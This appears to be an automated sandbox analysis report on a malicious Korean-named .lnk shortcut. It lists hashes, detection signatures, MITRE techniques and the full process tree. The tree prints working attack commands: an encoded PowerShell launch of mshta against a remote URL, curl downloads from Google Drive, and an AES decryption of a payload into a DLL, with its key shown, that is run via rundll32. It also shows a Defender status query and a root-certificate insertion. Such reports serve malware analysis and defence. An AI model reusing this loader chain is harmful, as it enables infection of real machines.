ef2ecace73eb74f73be2ef2d3a7b13ad716f7a1651e9b2399071a6362e425694

General

Target
암호.txt.lnk
Size 2KB
Sample260824-sytypswtaz
SHA256 ef2ecace73eb74f73be2ef2d3a7b13ad716f7a1651e9b2399071a6362e425694
MD5 52fc8d9a5acf7f65a76eaf322980c008
SHA1 f2321f2820e755c26d8cbae4d208e82e550868e9
SHA512 4c4f754fe912480172873359fd97be81cd7381e186ad214362e8d29bee0f81315879ca3b2749fa7b956b6fe9adfdfe23ee963a7414d11c0a254709c53805498f
TLSH
T19D5111161FE5126EF373877667FAB2596222F874AB034AEC41D112405E50604F876F7E
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion execution spyware trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://link24.kr/4Fv8pBF

Signatures

Badlisted process makes network request 15 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	5732	mshta.exe
7	5732	mshta.exe
10	5732	mshta.exe
11	5732	mshta.exe
13	5732	mshta.exe
14	5732	mshta.exe
15	5732	mshta.exe
16	5732	mshta.exe
17	5732	mshta.exe
18	5732	mshta.exe
19	5732	mshta.exe
20	5732	mshta.exe
21	5732	mshta.exe
22	5732	mshta.exe
23	5732	mshta.exe

Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	drive.google.com
24	drive.google.com
25	drive.google.com
31	drive.google.com

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5440	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1624	cmd.exe
4972	cmd.exe
3708	cmd.exe
5772	cmd.exe
5020	cmd.exe

Modifies system certificate store 2 TTPs 2 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 5c0000000100000004000000000800000f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b1400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba953030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad190000000100000010000000d0fd3c9c380d7b65e26b9a3fedd39b8f2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	mshta.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1952	powershell.exe
1952	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1952	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4972 wrote to memory of 1952	4972	cmd.exe	90
PID 1952 wrote to memory of 5732	1952	powershell.exe	91
PID 5732 wrote to memory of 3708	5732	mshta.exe	93
PID 5732 wrote to memory of 5772	5732	mshta.exe	94
PID 3708 wrote to memory of 6136	3708	cmd.exe	97
PID 5772 wrote to memory of 5440	5772	cmd.exe	98
PID 5732 wrote to memory of 5020	5732	mshta.exe	99
PID 5020 wrote to memory of 5076	5020	cmd.exe	101
PID 5732 wrote to memory of 1624	5732	mshta.exe	102
PID 1624 wrote to memory of 4408	1624	cmd.exe	104

cURL User-Agent 3 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	24	curl/8.8.0
HTTP User-Agent header	25	curl/8.8.0
HTTP User-Agent header	31	curl/8.8.0

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\암호.txt.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JgAgACAAIAAgACAAIAAgACAAIAAgAG0AcwBgAGgAdABhACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIgBoAHQAdABwAHMAOgAvAC8AbABpAG4AawAyADQALgBrAHIALwA0AEYAdgA4AHAAQgBGACIA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1952
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://link24.kr/4Fv8pBF
    3⤵
    - Badlisted process makes network request
    - Modifies system certificate store
    - Suspicious use of WriteProcessMemory
    PID:5732
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local\Temp && curl -L -o password.txt "https://drive.google.com/uc?export=download&id=1Hy6v6gYwI1BNV1mTQs-oYpf4FTLCR_kS" && password.txt
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3708
    - - C:\Windows\system32\curl.exe
        
        curl -L -o password.txt "https://drive.google.com/uc?export=download&id=1Hy6v6gYwI1BNV1mTQs-oYpf4FTLCR_kS"
        5⤵
        
        PID:6136
  - - C:\Windows\system32\cmd.exe
      cmd /c sc query WinDefend
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5772
    - - C:\Windows\system32\sc.exe
        
        sc query WinDefend
        5⤵
        Launches sc.exe
        
        PID:5440
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local && curl -L -o user.txt "https://drive.google.com/uc?export=download&id=1ZMThauqlS6wAY_AEWyBaP0d34Rz9bKrR"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5020
    - - C:\Windows\system32\curl.exe
        
        curl -L -o user.txt "https://drive.google.com/uc?export=download&id=1ZMThauqlS6wAY_AEWyBaP0d34Rz9bKrR"
        5⤵
        
        PID:5076
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local && curl -L -o sys.log "https://drive.google.com/uc?export=download&id=1jUGqGHodrW_KEQqAC0vslkq7MEtIDF7g" && powershell -Command "[System.IO.File]::WriteAllBytes('sys.dll', (New-Object System.Security.Cryptography.AesManaged).CreateDecryptor([System.Text.Encoding]::UTF8.GetBytes('ftrgmjekglgawkxjynqrwxjvjsydxgjc'), [System.Text.Encoding]::UTF8.GetBytes('rhmrpyihmziwkvln')).TransformFinalBlock([System.IO.File]::ReadAllBytes('sys.log'), 0, [System.IO.File]::ReadAllBytes('sys.log').Length))" && del sys.log && rundll32 sys.dll,o
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:1624
    - - C:\Windows\system32\curl.exe
        
        curl -L -o sys.log "https://drive.google.com/uc?export=download&id=1jUGqGHodrW_KEQqAC0vslkq7MEtIDF7g"
        5⤵
        
        PID:4408